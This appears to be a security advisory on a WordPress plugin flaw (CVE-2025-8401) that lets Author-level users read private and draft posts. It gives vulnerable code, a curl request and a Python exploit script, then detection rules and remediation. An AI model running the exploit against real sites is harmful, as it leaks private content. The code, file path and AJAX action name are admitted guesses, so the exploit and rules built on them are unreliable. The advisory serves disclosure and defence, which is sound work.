CVE-2025-8401

Executive Summary

CVE-2025-8401 is a Sensitive Information Exposure vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.9.1. The flaw resides in the get_post_data function, which fails to properly restrict access to sensitive post data. Authenticated attackers with Author-level access or higher can exploit this to extract the content of private, password-protected, and draft posts and pages. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low attack complexity and no user interaction required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (HT Mega) and consider removing the plugin if no patch is forthcoming. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Author-level authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – exposure of sensitive post content
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to leak private and draft content can lead to information disclosure, potentially aiding further attacks.

Deep Dive & Mechanics

The vulnerability is in the get_post_data function of the HT Mega plugin. This function is intended to retrieve post data for Elementor widgets, but it lacks proper authorization checks. Specifically, it does not verify whether the requesting user has permission to view the target post's status (e.g., private, draft, password-protected).

Root Cause: The function uses get_post() or similar WordPress functions without checking current_user_can() or post_status visibility. This allows any authenticated user with Author-level access (who can create and edit posts) to query arbitrary post IDs and retrieve their content, regardless of the post's visibility settings.

Attack Flow:

1. Attacker authenticates with Author-level credentials.
2. Attacker crafts a request to the vulnerable endpoint (e.g., via AJAX or REST API) that calls get_post_data with a target post ID.
3. The function returns the post content, including private, draft, or password-protected posts.
4. Attacker exfiltrates the data.

Affected Component: get_post_data function in HT Mega plugin (file likely includes/class-ht-mega-ajax.php or similar).

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.9.1):

function get_post_data() {
    $post_id = $_POST['post_id'];
    $post = get_post($post_id);
    if ($post) {
        wp_send_json_success(array(
            'title' => $post->post_title,
            'content' => apply_filters('the_content', $post->post_content),
            'excerpt' => $post->post_excerpt,
        ));
    }
    wp_send_json_error();
}

Patched Code (Hypothetical):

function get_post_data() {
    $post_id = intval($_POST['post_id']);
    $post = get_post($post_id);
    if ($post && (current_user_can('read_post', $post_id) || $post->post_status == 'publish')) {
        wp_send_json_success(array(
            'title' => $post->post_title,
            'content' => apply_filters('the_content', $post->post_content),
            'excerpt' => $post->post_excerpt,
        ));
    }
    wp_send_json_error();
}

The patched version adds a capability check (current_user_can('read_post', $post_id)) to ensure the user has permission to view the post, and also allows public posts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with HT Mega plugin <= 2.9.1
• Author-level account credentials

Exploitation Steps:

1. Log in as an Author.
2. Identify the AJAX action for get_post_data (likely ht_mega_get_post_data).
3. Send a POST request with the target post ID:

curl -X POST \
  -d "action=ht_mega_get_post_data&post_id=123" \
  -c cookies.txt \
  -b cookies.txt \
  https://target.com/wp-admin/admin-ajax.php

4. Parse the JSON response to extract sensitive content.

Automated Script (Python):

import requests

target = "https://target.com"
session = requests.Session()
# Login as Author
session.post(f"{target}/wp-login.php", data={"log": "author", "pwd": "password"})

# Exploit
post_id = 123
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "ht_mega_get_post_data",
    "post_id": post_id
})
print(response.json())

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action ht_mega_get_post_data from Author-level users.
• Look for rapid enumeration of post IDs in logs.
• Alert on access to private/draft posts by non-admin users.

Hunting:

• Search for ht_mega_get_post_data in web server access logs.
• Correlate with user roles to detect Author-level exploitation.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=ht_mega_get_post_data and post_id parameter.
• Logs: WordPress debug log entries showing get_post_data calls with non-public post IDs.
• File: Presence of HT Mega plugin version <= 2.9.1 in /wp-content/plugins/ht-mega/.
• Behavior: Author-level users accessing multiple post IDs in rapid succession.

Detection Engineering

YARA Rule

rule CVE_2025_8401_HT_Mega_Info_Leak {
    meta:
        description = "Detects HT Mega plugin vulnerable to CVE-2025-8401"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8401"
    strings:
        $func = "get_post_data" ascii wide nocase
        $vuln = "get_post(" ascii wide nocase
    condition:
        $func and $vuln
}

Sigma Rule

title: CVE-2025-8401 HT Mega Sensitive Information Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-8401 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=ht_mega_get_post_data'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8401 HT Mega Sensitive Information Exposure"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ht_mega_get_post_data"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the HT Mega plugin until a patch is released.
2. Restrict Author-level accounts to only necessary users.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block ht_mega_get_post_data requests from non-admin users.
• Use a security plugin to enforce capability checks on AJAX endpoints.

Workaround:

• Add a custom filter to the plugin's AJAX handler to check current_user_can('edit_others_posts') before processing.

Valters IT